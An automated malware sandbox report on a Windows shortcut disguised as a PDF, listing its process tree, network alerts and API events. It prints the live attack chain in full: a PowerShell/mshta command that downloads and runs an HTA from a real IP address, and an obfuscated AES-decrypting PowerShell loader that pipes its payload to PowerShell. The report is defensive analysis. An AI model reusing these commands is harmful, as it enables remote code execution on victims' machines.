Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	June 21, 2023, 7:29 a.m.	June 21, 2023, 7:31 a.m.

Size	1.9KB
Type	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=13, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`db1823a89b8d3dba49d2f27fb8285bc1`
SHA256	`342a200183ac9b87959c6b10ea0ed64b93a307dd82733fe818be04ef1979455d`
CRC32	`5797FA50`
ssdeep	`24:8A5/BHYVKVWf+/CWaXHpKwdd79ds5mlna:8c5aZ3ptdJ9hM`
Yara	Antivirus - Contains references to security software Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "okKyvVoii" "C:\Users\test22\AppData\Local\Temp\rapport 2023 MZN Thoma.pdf.lnk"
3012
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . C:\*i*\S*2\?sht*xe ('http' + '://141.98.6.99/thomas.hta')
  2212
  - mshta.exe "C:\Windows\System32\mshta.exe" http://141.98.6.99/thomas.hta
    156
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe | powershell - }
      1196
      - cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe | powershell -
        1564
        
        powershell.exe powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe
        1220
        
        powershell.exe powershell -
        2564

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
141.98.6.99	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49165 -> 141.98.6.99:80	2022520	ET POLICY Possible HTA Application Download	Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 141.98.6.99:80	2027261	ET INFO Dotted Quad Host HTA Request	Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 141.98.6.99:80	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	Attempted User Privilege Gain
TCP 141.98.6.99:80 -> 192.168.56.102:49165	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (26 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 21, 2023, 7:29 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 21, 2023, 7:29 a.m.			0	0
IsDebuggerPresent June 21, 2023, 7:29 a.m.			0	0
IsDebuggerPresent June 21, 2023, 7:29 a.m.			0	0
IsDebuggerPresent June 21, 2023, 7:29 a.m.			0	0

Command line console output was observed (23 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: The term 'Method' is not recognized as the name of a cmdlet, function, script f console_handle: 0x0000002f	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: ile, or operable program. Check the spelling of the name, or if a path was incl console_handle: 0x0000003b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: uded, verify that the path is correct and try again. console_handle: 0x00000047	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: At line:1 char:7 console_handle: 0x00000053	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + Method <<<< invocation failed because [System.Security.Cryptography.AesManag console_handle: 0x0000005f	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: ed] does console_handle: 0x0000006b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Method:String) [], CommandNotFo console_handle: 0x00000077	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: undException console_handle: 0x00000083	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000008f	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: Bad numeric constant: 9l. console_handle: 0x0000023b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: At line:8 char:3 console_handle: 0x00000247	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + 9l <<<< wsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn6 console_handle: 0x00000253	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: 7HlE53Y8 console_handle: 0x0000025f	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + CategoryInfo : ParserError: (9l:String) [], ParentContainsError console_handle: 0x0000026b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: RecordException console_handle: 0x00000277	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + FullyQualifiedErrorId : BadNumericConstant console_handle: 0x00000283	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: Bad numeric constant: 9l. console_handle: 0x0000043b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: At line:9 char:3 console_handle: 0x00000447	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + 9l <<<< wsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn6 console_handle: 0x00000453	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: 7HlE53Y8 console_handle: 0x0000045f	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + CategoryInfo : ParserError: (9l:String) [], ParentContainsError console_handle: 0x0000046b	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: RecordException console_handle: 0x00000477	1	1
WriteConsoleW June 21, 2023, 7:29 a.m.	buffer: + FullyQualifiedErrorId : BadNumericConstant console_handle: 0x00000483	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 170 events)

Time & API	Arguments	Status	Return
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf4f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf370 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf370 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf370 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfdb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cfb30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf630 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf5f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003cf5f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3850 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3590 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3590 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3590 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 21, 2023, 7:29 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c3190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (1 event)

file	C:\Program Files\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 21, 2023, 7:29 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://141.98.6.99/thomas.hta

Performs some HTTP requests (1 event)

request

GET http://141.98.6.99/thomas.hta

Allocates read-write-execute memory (usually to unpack itself) (50 out of 555 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73922000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
